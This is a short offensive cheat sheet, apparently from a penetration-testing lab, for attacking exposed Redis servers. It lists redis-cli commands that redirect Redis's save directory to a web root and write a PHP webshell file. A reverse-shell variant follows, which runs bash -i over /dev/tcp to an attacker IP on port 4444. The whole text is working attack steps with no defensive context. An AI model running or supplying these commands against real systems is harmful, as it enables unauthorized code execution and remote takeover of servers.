Redis Enumeration
Connection
redis-cli -h 10.85.21.241
Webshell upload via config
config set dir /usr/share/nginx/html
# or
config set dir /var/www/html
config set dbfilename redis.php
set test "<?php phpinfo(); ?>"
save
Reverse shell variant
set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.84.215/4444 0>&1'\"); ?>"
save